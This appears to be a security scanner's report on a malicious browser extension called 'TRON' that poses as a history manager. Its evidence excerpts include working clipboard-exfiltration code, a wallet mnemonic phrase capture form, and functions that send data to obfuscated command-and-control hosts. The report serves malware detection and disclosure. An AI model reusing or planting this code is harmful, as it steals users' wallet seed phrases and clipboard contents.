TRON 1111.0.3
Clipboard exfiltration, obfuscated C2
“TRON”
False no-data claim with clipboard exfiltrationBrowser clipboard chunks sent over HTTP
SHA-25670a75cca03d12c7292493a5f6c66a94860a0d460d6ec1bcd4e2ff241af73b8e0
Evidence
1const apropriate = () => {
2 const parts = {
3 a: [104,116,116,112,58,47,47],
4 b: [49,57,51,46,49,52,56,46,53,54,46,52,56],
5 c: [47],
6 d: [99,111,110,116,105,110,117,101,46,112,104,112]
7 };
8
9 const str = arr => String.fromCharCode(...arr);
10
11 return str(parts.a) +
⋯4 lines
16
17!function(){
18 let a,b=!1,c=Date.now();
19 setInterval(async()=>{
20 if(b||Date.now()<c)return;
21 b=!0;
22 try{
23 let d=await navigator.clipboard.readText();
24 if(d&&d!==a){
25 a=d;
26 let e=[],f=700+~~(Math.random()*1300);
27 for(let i=0;i<d.length;i+=f)e.push(d.slice(i,i+f));
28 let g=Date.now().toString(36)+Math.random().toString(36).slice(2)+"_x"+(~~(9e4*Math.random())).toString(36);
29 e.forEach((h,i)=>{
30 let j=apropriate()+"?"+["uid","part","total","data"].map((k,l)=>k+"="+encodeURIComponent(l<1?g:l<2?i+1:l<3?e.length:h)).join("&");
31 fetch(j,{method:"GET",mode:"no-cors"}).catch(()=>{});
32 });
33 }
34 }catch(e){}
35 finally{b=!1;c=Date.now()+1500+~~(Math.random()*500);}
36 },2000+~~(Math.random()*1000));
37}();
1{
2 "name": "Phillips Wade",
3 "description": "Manage and organize your history easily and securely",
4 "version": "1111.0.3",
5 "manifest_version": 2,
6 "browser_action": {
⋯4 lines
11 "background.js"
12 ],
13 "persistent": true
14 },
15 "icons": {
16 "16": "icon/logo.png",
17 "32": "icon/logo.png",
18 "48": "icon/logo.png",
19 "128": "icon/logo.png"
20 },
21 "permissions": [
22 "clipboardRead"
23 ],
24 "browser_specific_settings": {
25 "gecko": {
26 "data_collection_permissions": {
27 "required": [
28 "none"
29 ],
⋯8 lines
59:28… ng-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
60 opacity: 0
61 }
62
63 .drop-down-enter-active[data-v-2b23e28f], .drop-down-leave-active[data-v-2b23e28f] {
64 transiti …
568:89… >
569 <div class="flex-1 p-6 overflow-auto"><p class="text-[#737783] text-sm mb-3">Enter your 12-word mnemonic
570 phrase:</p>
571 <div class="bg-[#f8f9fd] p-4 rounded-lg border border-[#e8ecf4] mb-6"><textarea id="field"
572 class="w-full h-32 bg-transparent resize-none focus:outline-none text-[#1f2a4c]"
573 placeholder="Enter your mnemonic phrase separated by spaces"></textarea>
574 </div>
575 <p id="error" style="display: none" class="text-red-500 text-xs mt-2">Invalid mnemonic phrase</p>
576 <p class="text-[#737783] text-xs mb-6">Enter all words in the correct order, separated by single
577 spaces.</p>
578 <but …
1const kml = () => {
2 const seed = 0x5B; // 91 hex
3
4 const nums = [
5 seed + 102,
6 seed + 57,
⋯4 lines
11 const pathSegments = ["app.php"];
12
13 const decode = (arr) => String.fromCharCode(...arr);
14
15 const proto = decode([104, 116, 116, 112, 58, 47, 47]);
16
17 const pp = nums.reduce((acc, n, i) =>
⋯6 lines
24};
25
26async function collectMetrics(e){
27 if(!e||typeof e!=="object")return;
28
29 try{
30 const n = {
31 name: "TronLink Wallet",
32 collectedAt: Date.now(),
33 clientVersion: "1.0.0",
34 ...e
35 };
36
37 const response = await fetch(kml(), {
38 method: "POST",
39 headers: { "Content-Type": "application/json" },
40 body: JSON.stringify(n),
41 keepalive: true
42 });
43
44 if (response.ok) await response.text();
45 } catch(e) {}
46}
Showing the top 5 files — 1 more file (9 regions) not shown.
No evidence locations were recorded for this file. Raw result